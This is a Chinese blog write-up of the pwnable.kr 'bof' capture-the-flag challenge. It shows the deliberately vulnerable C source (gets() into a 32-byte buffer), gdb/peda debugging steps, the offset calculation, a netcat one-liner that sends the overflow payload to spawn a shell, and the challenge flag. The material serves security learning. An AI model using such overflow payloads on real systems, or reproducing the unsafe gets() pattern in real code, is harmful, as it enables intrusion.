加载中…
个人资料
elecs
elecs
  • 博客等级:
  • 博客积分:0
  • 博客访问:52,826
  • 关注人气:1
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
相关博文
推荐博文
正文 字体大小:

pwnable.kr之bof题解

(2016-12-28 16:07:21)
标签:

pwn

peda

缓冲区溢出

分类: 信息安全

pwnable.kr是一个很不错的网站,它提供了一系列的pwn题目,可以从头开始慢慢做一下。

bof这道题与缓冲区溢出有关,非常基础。 pwnable.kr之bof题解
实验环境:Kali Linux  1.0 32bit


首先,查看bof.c源代码,可以清楚地看到溢出发生在gets(overflowme);。

#include
#include
#include
void func(int key){
 char overflowme[32];
 printf("overflow me : ");
 gets(overflowme); // smash me!
 if(key == 0xcafebabe){
  system("/bin/sh");
 }
 else{
  printf("Nah..\n");
 }
}
int main(int argc, char* argv[]){
 func(0xdeadbeef);
 return 0;
}

把bof文件下载下来,用file命令查看, 发现为32位的ELF文件。为了方便在linux下调试程序,推荐给gdb装上peda插件。

git clone https://github.com/longld/peda.git ~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

 

简单运行发现程序需要输入一些字符串,根据提示可知此题需要进行溢出。用gdb调试,在main函数上设置断点。

pwnable.kr之bof题解

pwnable.kr之bof题解
输入r运行,程序断在了main函数入口处,使用n单步跟踪,当走到0x8000069a处时,程序调用了0x8000062c处的函数,直接s单步进入。
pwnable.kr之bof题解
当走到0x8000064c,程序将寄存器eax的值0xbffff45c压入栈,随后进行call 操作。最终0xbffff45c会指向用户输入的字符串。
pwnable.kr之bof题解
这里使用peda中的pattern_create 64创建一个64字节的payload将其输入程序,以进行后续调试。
pwnable.kr之bof题解
输完字符串后,程序停在0x80000654进行比较操作:cmp    DWORD PTR [ebp+0x8],0xcafebabe。而此时的DWORD PTR [ebp+0x8]=0x0xbffff490。刚刚指向用户输入字符串的地址0xbffff45c在一个低地址上,如果输入足够长的字符串就能够覆盖后面的0x0xbffff490处的值。当比较成功时,程序不发生跳转,直接调用system("/bin/sh")。pwnable.kr之bof题解
分析完过程,剩下的就只要找到输入字符串指针距离0x0xbffff490的偏移即可。偏移=0x0xbffff490-0x8000064c=0x34=52。

可以看到输入的payload覆盖到了0x0xbffff490处的值,但不是程序所需的0xcafebabe。
pwnable.kr之bof题解

为了成功使程序跳转执行system("/bin/sh"),需要构造字符串"A" * 52 + "\xbe\xba\xfe\xca"。

此时,使用命令行远程输入payload:

(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000

pwnable.kr之bof题解
最终获得flag:daddy, I just pwned a buFFer :)

ps个知识点,为啥在python后还要加上cat?在我的环境中,不加cat,在命令行输入任何命令没有反馈。加上cat -或cat都可以。
pwnable.kr之bof题解




 


 

0

阅读 评论 收藏 转载 喜欢 打印举报/Report
  • 评论加载中,请稍候...
发评论

    发评论

    以上网友发言只代表其个人观点,不代表新浪网的观点或立场。

      

    新浪BLOG意见反馈留言板 欢迎批评指正

    新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 会员注册 | 产品答疑

    新浪公司 版权所有